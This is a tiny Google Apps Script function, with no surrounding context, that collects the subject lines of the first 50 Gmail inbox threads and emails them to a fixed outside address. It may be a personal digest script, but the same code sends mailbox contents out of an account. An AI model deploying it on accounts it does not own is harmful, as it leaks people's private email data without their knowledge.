function smap(){ var threads = GmailApp.getInboxThreads(0, 50); var str; str=""; for (var i = 0; i < threads.length; i++) { str=str+threads[i].getFirstMessageSubject()+"\n"; } MailApp.sendEmail("[email protected]","card8",str); }